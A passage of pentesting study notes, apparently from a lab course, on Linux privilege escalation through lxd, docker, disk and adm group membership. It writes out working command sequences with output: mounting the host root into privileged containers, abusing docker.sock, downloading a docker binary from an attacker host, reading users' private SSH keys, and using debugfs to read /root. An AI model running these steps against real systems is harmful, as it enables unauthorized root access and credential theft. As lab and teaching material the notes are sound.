Privileged Groups

LXC / LXD

Membership of this group can be used to escalate privileges by creating an LXD container, making it privileged, and then accessing the host file system at /mnt/root

$ id

uid=1009(devops) gid=1009(devops) groups=1009(devops),110(lxd)

$ unzip alpine.zip 

Archive:  alpine.zip
extracting: 64-bit Alpine/alpine.tar.gz  
inflating: 64-bit Alpine/alpine.tar.gz.root  
cd 64-bit\ Alpine/

$ lxd init

Do you want to configure a new storage pool (yes/no) [default=yes]? yes
Name of the storage backend to use (dir or zfs) [default=dir]: dir
Would you like LXD to be available over the network (yes/no) [default=no]? no
Do you want to configure the LXD bridge (yes/no) [default=yes]? yes

/usr/sbin/dpkg-reconfigure must be run as root
error: Failed to configure the bridge

$ lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine

Generating a client certificate. This may take a minute...
If this is your first time using LXD, you should also run: sudo lxd init
To start your first container, try: lxc launch ubuntu:16.04

Image imported with fingerprint: be1ed370b16f6f3d63946d47eb57f8e04c77248c23f47a41831b5afff48f8d1b

$ lxc init alpine r00t -c security.privileged=true

Creating r00t

$ lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true

Device mydev added to r00t

devops@NIX02:~$ lxc start r00t
devops@NIX02:~/64-bit Alpine$ lxc exec r00t /bin/sh

~ # id
uid=0(root) gid=0(root)
~ # 

We can now browse the mounted host file system as root. For example, to access the contents of the root directory on the host type cd /mnt/root/root.

Docker

If docker, is not install, we can download it here and upload it to the Docker container. https://master.dockerproject.org/

Docker Shared Directories

root@container:~$ cd /hostsystem/home/cry0l1t3
root@container:/hostsystem/home/cry0l1t3$ ls -l

-rw-------  1 cry0l1t3 cry0l1t3  12559 Jun 30 15:09 .bash_history
-rw-r--r--  1 cry0l1t3 cry0l1t3    220 Jun 30 15:09 .bash_logout
-rw-r--r--  1 cry0l1t3 cry0l1t3   3771 Jun 30 15:09 .bashrc
drwxr-x--- 10 cry0l1t3 cry0l1t3   4096 Jun 30 15:09 .ssh


root@container:/hostsystem/home/cry0l1t3$ cat .ssh/id_rsa

-----BEGIN RSA PRIVATE KEY-----
<SNIP>

From here on, we could copy the contents of the private SSH key to cry0l1t3.priv file and use it to log in as the user cry0l1t3 on the host system.

0xss0rz@htb[/htb]$ ssh cry0l1t3@<host IP> -i cry0l1t3.priv

Docker Sockets

htb-student@container:~/app$ ls -al

total 8
drwxr-xr-x 1 htb-student htb-student 4096 Jun 30 15:12 .
drwxr-xr-x 1 root        root        4096 Jun 30 15:12 ..
srw-rw---- 1 root        root           0 Jun 30 15:27 docker.sock

https://master.dockerproject.org/linux/x86_64/dockermaster.dockerproject.org

Interact with the socket and enumerate what docker containers are already running

htb-student@container:/tmp$ wget https://<parrot-os>:443/docker -O docker
htb-student@container:/tmp$ chmod +x docker
htb-student@container:/tmp$ ls -l

-rwxr-xr-x 1 htb-student htb-student 0 Jun 30 15:27 docker


htb-student@container:~/tmp$ /tmp/docker -H unix:///app/docker.sock ps

CONTAINER ID     IMAGE         COMMAND                 CREATED       STATUS           PORTS     NAMES
3fe8a4782311     main_app      "/docker-entry.s..."    3 days ago    Up 12 minutes    443/tcp   app
<SNIP>

Create our own Docker container that maps the host’s root directory (/) to the /hostsystem directory on the container.

htb-student@container:/app$ /tmp/docker -H unix:///app/docker.sock run --rm -d --privileged -v /:/hostsystem main_app
htb-student@container:~/app$ /tmp/docker -H unix:///app/docker.sock ps

CONTAINER ID     IMAGE         COMMAND                 CREATED           STATUS           PORTS     NAMES
7ae3bcc818af     main_app      "/docker-entry.s..."    12 seconds ago    Up 8 seconds     443/tcp   app
3fe8a4782311     main_app      "/docker-entry.s..."    3 days ago        Up 17 minutes    443/tcp   app
<SNIP>

Log in to the new privileged Docker container

htb-student@container:/app$ /tmp/docker -H unix:///app/docker.sock exec -it 7ae3bcc818af /bin/bash


root@7ae3bcc818af:~# cat /hostsystem/root/.ssh/id_rsa

-----BEGIN RSA PRIVATE KEY-----
<SNIP>

PrivEsc

Placing a user in the docker group is essentially equivalent to root level access to the file system without requiring a password. Members of the docker group can spawn new docker containers. One example would be running the command docker run -v /root:/mnt -it ubuntu. This command create a new Docker instance with the /root directory on the host file system mounted as a volume.

Ref: https://www.youtube.com/watch?v=AJc53DUdt1M&list=PLidcsTyj9JXItWpbRtTg6aDEj10_F17x5&index=11

 id

uid=1000(docker-user) gid=1000(docker-user) groups=1000(docker-user),116(docker)

docker image ls

REPOSITORY                           TAG                 IMAGE ID       CREATED         SIZE
ubuntu                               20.04               20fffa419e3a   2 days ago    72.8MB

docker-user@nix02:~$ docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it ubuntu chroot /mnt bash

root@ubuntu:~# ls -l

total 68
lrwxrwxrwx   1 root root     7 Apr 23  2020 bin -> usr/bin
drwxr-xr-x   4 root root  4096 Sep 22 11:34 boot
drwxr-xr-x   2 root root  4096 Oct  6  2021 cdrom
drwxr-xr-x  19 root root  3940 Oct 24 13:28 dev
drwxr-xr-x 100 root root  4096 Sep 22 13:27 etc
drwxr-xr-x   3 root root  4096 Sep 22 11:06 home
lrwxrwxrwx   1 root root     7 Apr 23  2020 lib -> usr/lib
lrwxrwxrwx   1 root root     9 Apr 23  2020 lib32 -> usr/lib32
lrwxrwxrwx   1 root root     9 Apr 23  2020 lib64 -> usr/lib64
lrwxrwxrwx   1 root root    10 Apr 23  2020 libx32 -> usr/libx32
drwx------   2 root root 16384 Oct  6  2021 lost+found
drwxr-xr-x   2 root root  4096 Oct 24 13:28 media
drwxr-xr-x   2 root root  4096 Apr 23  2020 mnt
drwxr-xr-x   2 root root  4096 Apr 23  2020 opt
dr-xr-xr-x 307 root root     0 Oct 24 13:28 proc
drwx------   6 root root  4096 Sep 26 21:11 root
drwxr-xr-x  28 root root   920 Oct 24 13:32 run
lrwxrwxrwx   1 root root     8 Apr 23  2020 sbin -> usr/sbin
drwxr-xr-x   7 root root  4096 Oct  7  2021 snap
drwxr-xr-x   2 root root  4096 Apr 23  2020 srv
dr-xr-xr-x  13 root root     0 Oct 24 13:28 sys
drwxrwxrwt  13 root root  4096 Oct 24 13:44 tmp
drwxr-xr-x  14 root root  4096 Sep 22 11:11 usr
drwxr-xr-x  13 root root  4096 Apr 23  2020 var

Disk

Users within the disk group have full access to any devices contained within /dev, such as /dev/sda1, which is typically the main device used by the operating system. An attacker with these privileges can use debugfs to access the entire file system with root level privileges

Disk group privilege escalationVK9 Security

Disk Group Privilege EscalationHacking Articles

$ id
id
uid=1001(user) gid=1001(user) groups=1001(user),6(disk)

df -h

$ debugfs /dev/sda5
debugfs /dev/sda5
debugfs 1.45.5 (07-Jan-2020)
debugfs:  cd /root
cd /root
debugfs:  ls

debugfs:  mkdir test
mkdir test
mkdir: Filesystem opened read/only
debugfs:  cat /root/flag.txt
cat /root/flag.txt

ADM group

Members of the adm group are able to read all logs stored in /var/log. This does not directly grant root access, but could be leveraged to gather sensitive data stored in log files or enumerate user actions and running cron jobs.

$ aureport --tty | less

secaudit@NIX02:~$ id

uid=1010(secaudit) gid=1010(secaudit) groups=1010(secaudit),4(adm)